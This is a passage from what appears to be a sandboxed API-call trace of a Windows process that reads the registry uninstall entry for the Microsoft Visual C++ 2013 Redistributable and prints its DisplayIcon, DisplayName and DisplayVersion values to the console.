_File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.906] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.906] lstrlenW (lpString="DisplayIcon") returned 11 [0150.906] __iob_func () returned 0x7fefd702a80 [0150.915] _fileno (_File=0x7fefd702ab0) returned 1 [0150.915] _errno () returned 0x204bb0 [0150.915] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.915] _errno () returned 0x204bb0 [0150.915] GetFileType (hFile=0x50) returned 0x1 [0150.915] lstrlenW (lpString="DisplayIcon") returned 11 [0150.915] GetConsoleOutputCP () returned 0x1b5 [0150.915] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.915] GetConsoleOutputCP () returned 0x1b5 [0150.915] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0150.915] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.915] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.915] __iob_func () returned 0x7fefd702a80 [0150.915] _fileno (_File=0x7fefd702ab0) returned 1 [0150.915] _errno () returned 0x204bb0 [0150.915] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.915] _errno () returned 0x204bb0 [0150.915] GetFileType (hFile=0x50) returned 0x1 [0150.915] lstrlenW (lpString=" ") returned 4 [0150.915] GetConsoleOutputCP () returned 0x1b5 [0150.916] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.916] GetConsoleOutputCP () returned 0x1b5 [0150.916] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.916] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.916] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.916] __iob_func () returned 0x7fefd702a80 [0150.916] _fileno (_File=0x7fefd702ab0) returned 1 [0150.916] _errno () returned 0x204bb0 [0150.916] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.916] _errno () returned 0x204bb0 [0150.916] GetFileType (hFile=0x50) returned 0x1 [0150.916] lstrlenW (lpString="REG_SZ") returned 6 [0150.916] GetConsoleOutputCP () returned 0x1b5 [0150.916] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.916] GetConsoleOutputCP () returned 0x1b5 [0150.916] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.916] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.916] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.916] __iob_func () returned 0x7fefd702a80 [0150.916] _fileno (_File=0x7fefd702ab0) returned 1 [0150.916] _errno () returned 0x204bb0 [0150.916] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.916] _errno () returned 0x204bb0 [0150.916] GetFileType (hFile=0x50) returned 0x1 [0150.917] lstrlenW (lpString=" ") returned 4 [0150.917] GetConsoleOutputCP () returned 0x1b5 [0150.917] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.917] GetConsoleOutputCP () returned 0x1b5 [0150.917] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.917] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.917] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.917] __iob_func () returned 0x7fefd702a80 [0150.917] _fileno (_File=0x7fefd702ab0) returned 1 [0150.917] _errno () returned 0x204bb0 [0150.917] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.917] _errno () returned 0x204bb0 [0150.917] GetFileType (hFile=0x50) returned 0x1 [0150.917] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe,0") returned 86 [0150.917] GetConsoleOutputCP () returned 0x1b5 [0150.917] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe,0", cchWideChar=86, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 86 [0150.917] GetConsoleOutputCP () returned 0x1b5 [0150.917] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe,0", cchWideChar=86, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe,0", lpUsedDefaultChar=0x0) returned 86 [0150.917] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 86 [0150.917] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.918] __iob_func () returned 0x7fefd702a80 [0150.918] _fileno (_File=0x7fefd702ab0) returned 1 [0150.918] _errno () returned 0x204bb0 [0150.918] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.918] _errno () returned 0x204bb0 [0150.918] GetFileType (hFile=0x50) returned 0x1 [0150.918] lstrlenW (lpString="\n") returned 1 [0150.918] GetConsoleOutputCP () returned 0x1b5 [0150.918] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.918] GetConsoleOutputCP () returned 0x1b5 [0150.918] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.918] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.918] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.918] GetProcessHeap () returned 0x3c0000 [0150.918] GetProcessHeap () returned 0x3c0000 [0150.918] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.918] GetProcessHeap () returned 0x3c0000 [0150.918] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb2 [0150.918] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.918] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.918] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x7c) returned 0x0 [0150.918] GetProcessHeap () returned 0x3c0000 [0150.918] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x7e) returned 0x3db830 [0150.918] GetProcessHeap () returned 0x3c0000 [0150.918] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.918] GetProcessHeap () returned 0x3c0000 [0150.918] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7e [0150.918] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x7c | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", pcbData=0x29f780*=0x7a) returned 0x0 [0150.918] __iob_func () returned 0x7fefd702a80 [0150.919] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.919] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.919] _fileno (_File=0x7fefd702ab0) returned 1 [0150.919] _errno () returned 0x204bb0 [0150.919] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.919] _errno () returned 0x204bb0 [0150.919] GetFileType (hFile=0x50) returned 0x1 [0150.919] lstrlenW (lpString=" ") returned 4 [0150.919] GetConsoleOutputCP () returned 0x1b5 [0150.919] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.919] GetConsoleOutputCP () returned 0x1b5 [0150.919] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.919] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.919] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.919] lstrlenW (lpString="DisplayName") returned 11 [0150.919] __iob_func () returned 0x7fefd702a80 [0150.919] _fileno (_File=0x7fefd702ab0) returned 1 [0150.919] _errno () returned 0x204bb0 [0150.919] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.919] _errno () returned 0x204bb0 [0150.919] GetFileType (hFile=0x50) returned 0x1 [0150.919] lstrlenW (lpString="DisplayName") returned 11 [0150.919] GetConsoleOutputCP () returned 0x1b5 [0150.919] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.919] GetConsoleOutputCP () returned 0x1b5 [0150.920] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0150.920] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.920] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.920] __iob_func () returned 0x7fefd702a80 [0150.920] _fileno (_File=0x7fefd702ab0) returned 1 [0150.920] _errno () returned 0x204bb0 [0150.920] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.920] _errno () returned 0x204bb0 [0150.920] GetFileType (hFile=0x50) returned 0x1 [0150.920] lstrlenW (lpString=" ") returned 4 [0150.920] GetConsoleOutputCP () returned 0x1b5 [0150.920] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.920] GetConsoleOutputCP () returned 0x1b5 [0150.920] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.920] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.920] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.920] __iob_func () returned 0x7fefd702a80 [0150.920] _fileno (_File=0x7fefd702ab0) returned 1 [0150.920] _errno () returned 0x204bb0 [0150.920] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.920] _errno () returned 0x204bb0 [0150.920] GetFileType (hFile=0x50) returned 0x1 [0150.920] lstrlenW (lpString="REG_SZ") returned 6 [0150.920] GetConsoleOutputCP () returned 0x1b5 [0150.921] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.921] GetConsoleOutputCP () returned 0x1b5 [0150.921] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.921] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.921] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.921] __iob_func () returned 0x7fefd702a80 [0150.921] _fileno (_File=0x7fefd702ab0) returned 1 [0150.921] _errno () returned 0x204bb0 [0150.921] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.921] _errno () returned 0x204bb0 [0150.921] GetFileType (hFile=0x50) returned 0x1 [0150.921] lstrlenW (lpString=" ") returned 4 [0150.921] GetConsoleOutputCP () returned 0x1b5 [0150.921] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.921] GetConsoleOutputCP () returned 0x1b5 [0150.921] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.921] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.921] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.921] __iob_func () returned 0x7fefd702a80 [0150.921] _fileno (_File=0x7fefd702ab0) returned 1 [0150.921] _errno () returned 0x204bb0 [0150.921] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.921] _errno () returned 0x204bb0 [0150.921] GetFileType (hFile=0x50) returned 0x1 [0150.922] lstrlenW (lpString="Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501") returned 60 [0150.922] GetConsoleOutputCP () returned 0x1b5 [0150.922] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0150.922] GetConsoleOutputCP () returned 0x1b5 [0150.922] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", cchWideChar=60, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpUsedDefaultChar=0x0) returned 60 [0150.922] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 60 [0150.922] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.922] __iob_func () returned 0x7fefd702a80 [0150.922] _fileno (_File=0x7fefd702ab0) returned 1 [0150.922] _errno () returned 0x204bb0 [0150.922] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.922] _errno () returned 0x204bb0 [0150.922] GetFileType (hFile=0x50) returned 0x1 [0150.922] lstrlenW (lpString="\n") returned 1 [0150.922] GetConsoleOutputCP () returned 0x1b5 [0150.922] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.922] GetConsoleOutputCP () returned 0x1b5 [0150.923] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.923] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.923] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.923] GetProcessHeap () returned 0x3c0000 [0150.923] GetProcessHeap () returned 0x3c0000 [0150.923] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.923] GetProcessHeap () returned 0x3c0000 [0150.923] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7e [0150.923] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.923] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.923] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1c) returned 0x0 [0150.923] GetProcessHeap () returned 0x3c0000 [0150.923] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1e) returned 0x3d5c30 [0150.923] GetProcessHeap () returned 0x3c0000 [0150.923] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.923] GetProcessHeap () returned 0x3c0000 [0150.923] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0150.923] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1c | out: pdwType=0x29f700*=0x1, pvData="12.0.30501.0", pcbData=0x29f780*=0x1a) returned 0x0 [0150.923] __iob_func () returned 0x7fefd702a80 [0150.923] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.923] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.923] _fileno (_File=0x7fefd702ab0) returned 1 [0150.923] _errno () returned 0x204bb0 [0150.923] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.923] _errno () returned 0x204bb0 [0150.923] GetFileType (hFile=0x50) returned 0x1 [0150.923] lstrlenW (lpString=" ") returned 4 [0150.923] GetConsoleOutputCP () returned 0x1b5 [0150.923] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.923] GetConsoleOutputCP () returned 0x1b5 [0150.924] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.924] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.924] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.924] lstrlenW (lpString="DisplayVersion") returned 14 [0150.924] __iob_func () returned 0x7fefd702a80 [0150.924] _fileno (_File=0x7fefd702ab0) returned 1 [0150.924] _errno () returned 0x204bb0 [0150.924] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.924] _errno () returned 0x204bb0 [0150.924] GetFileType (hFile=0x50) returned 0x1 [0150.924] lstrlenW (lpString="DisplayVersion") returned 14 [0150.924] GetConsoleOutputCP () returned 0x1b5 [0150.924] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0150.924] GetConsoleOutputCP () returned 0x1b5 [0150.924] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0150.924] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0150.924] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.924] __iob_func () returned 0x7fefd702a80 [0150.924] _fileno (_File=0x7fefd702ab0) returned 1 [0150.924] _errno () returned 0x204bb0 [0150.924] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.924] _errno () returned 0x204bb0 [0150.924] GetFileType (hFile=0x50) returned 0x1 [0150.924] lstrlenW (lpString=" ") returned 4 [0150.924] GetConsoleOutputCP () returned 0x1b5 [0150.925] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.925] GetConsoleOutputCP () returned 0x1b5 [0150.925] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.925] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.925] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.925] __iob_func () returned 0x7fefd702a80 [0150.925] _fileno (_File=0x7fefd702ab0) returned 1 [0150.925] _errno () returned 0x204bb0 [0150.925] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.925] _errno () returned 0x204bb0 [0150.925] GetFileType (hFile=0x50) returned 0x1 [0150.925] lstrlenW (lpString="REG_SZ") returned 6 [0150.925] GetConsoleOutputCP () returned 0x1b5 [0150.925] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.925] GetConsoleOutputCP () returned 0x1b5 [0150.925] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.925] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.925] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.925] __iob_func () returned 0x7fefd702a80 [0150.925] _fileno (_File=0x7fefd702ab0) returned 1 [0150.925] _errno () returned 0x204bb0 [0150.926] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.926] _errno () returned 0x204bb0 [0150.926] GetFileType (hFile=0x50) returned 0x1 [0150.926] lstrlenW (lpString=" ") returned 4 [0150.926] GetConsoleOutputCP () returned 0x1b5 [0150.926] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.926] GetConsoleOutputCP () returned 0x1b5 [0150.926] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.926] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.926] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.926] __iob_func () returned 0x7fefd702a80 [0150.926] _fileno (_File=0x7fefd702ab0) returned 1 [0150.926] _errno () returned 0x204bb0 [0150.926] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.926] _errno () returned 0x204bb0 [0150.926] GetFileType (hFile=0x50) returned 0x1 [0150.926] lstrlenW (lpString="12.0.30501.0") returned 12 [0150.926] GetConsoleOutputCP () returned 0x1b5 [0150.926] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.30501.0", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.926] GetConsoleOutputCP () returned 0x1b5 [0150.926] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.30501.0", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12.0.30501.0", lpUsedDefaultChar=0x0) returned 12 [0150.926] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) 